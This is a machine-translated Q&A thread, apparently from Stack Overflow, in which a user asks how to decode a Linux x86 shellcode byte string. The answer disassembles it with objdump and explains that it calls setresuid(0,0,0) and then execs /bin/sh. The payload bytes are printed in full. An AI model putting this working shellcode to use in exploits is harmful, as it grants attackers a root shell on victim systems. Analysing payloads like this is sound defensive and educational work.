如何检查给定shellcode执行的命令?

问题描述:

比方说,我给下面的shellcode:如何检查给定shellcode执行的命令?

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

如何检查是什么意思/它所代表的ASM的指令? 谢谢:)

编译和反汇编它!对于你的例子:

$ cat example.c 
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 
$ make example.o 
cc -c -o example.o example.c 
$ objdump -D example.o 

example.o:  file format elf64-x86-64 


Disassembly of section .data: 

0000000000000000 <shellcode>: 
    0: 31 c0     xor %eax,%eax 
    2: 31 db     xor %ebx,%ebx 
    4: 31 c9     xor %ecx,%ecx 
    6: 99      cltd 
    7: b0 a4     mov $0xa4,%al 
    9: cd 80     int $0x80 
    b: 6a 0b     pushq $0xb 
    d: 58      pop %rax 
    e: 51      push %rcx 
    f: 68 2f 2f 73 68   pushq $0x68732f2f 
    14: 68 2f 62 69 6e   pushq $0x6e69622f 
    19: 89 e3     mov %esp,%ebx 
    1b: 51      push %rcx 
    1c: 89 e2     mov %esp,%edx 
    1e: 53      push %rbx 
    1f: 89 e1     mov %esp,%ecx 
    21: cd 80     int $0x80 
    ... 

的使用注意事项objdump-D标志的拆卸所有部分,而不仅仅是它认为可执行部分是。

至于什么该代码表示​​,我想我们可以把它分解一块一块的(从上面,与行内注释):

xor %eax,%eax // clear eax register 
xor %ebx,%ebx // clear ebx register 
xor %ecx,%ecx // clear ecx register 
cltd    // clear edx register (via sign-extension of eax 
        //  - only a compiler would do this operation 
        //  in this way, I'd guess, so your shell code 
        //  probably wasn't hand-written 
mov $0xa4,%al // put 0xa4 (decimal 164) into eax 
int $0x80  // do system call. Syscall 164 is "sys_setresuid" 
        // - it takes three parameters, in ebx, ecx, and edx, 
        //  so in this case, it's calling sys_setresuid(0, 0, 0); 
pushq $0xb  // push constant 0xb (decimal 11) to the stack 
pop %rax  // pop it back into rax 
push %rcx  // push the 0 in rcx to the stack 
pushq $0x68732f2f // push constant to the stack (looks like ASCII? "//sh") 
pushq $0x6e69622f // push constant to the stack (looks like ASCII? "/bin") 
mov %esp,%ebx // put a pointer to this stack pushed stuff into ebx 
push %rcx  // push rcx again, it's still 0 
mov %esp,%edx // put a pointer to this 0 on the stack into edx 
push %rbx  // push rbx, it's 0 too 
mov %esp,%ecx // put a pointer to this 0 into ecx 
int $0x80  // system call again - this time, it's call 11, which is 
        // sys_execve. It takes a pointer to a filename to execute 
        // and two more pointers to the arguments and environment to 
        // pass 

所以这段代码首先调用:

sys_setresuid(0, 0, 0) 

为了赋予它自己的root权限,然后调用sys_execve()开始运行/bin/sh,给出一个shell提示符。

+0

谢谢Carl!很好的回答: 虽然有几个问题: 你怎么知道哪个系统调用“int”调用?我想这跟0x80有什么关系,那是什么? 我已经做了一些ASM,并开始寻找x86 intel的一个,所以这个与我所知道的有点不同(例如,我猜“int”相当于“call”)。 – Shookie

+0

'int 0x80'是一个软件中断,意思是“嘿内核我想做一个系统调用”。系统调用号码在'eax'中。你可以很容易地谷歌搜索列表(这就是我所做的)。 –

+0

@Sookie这里有一个很好的[Linux Syscall Reference](http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html)页面。搜索系统调用号码以查找相应的系统调用。 –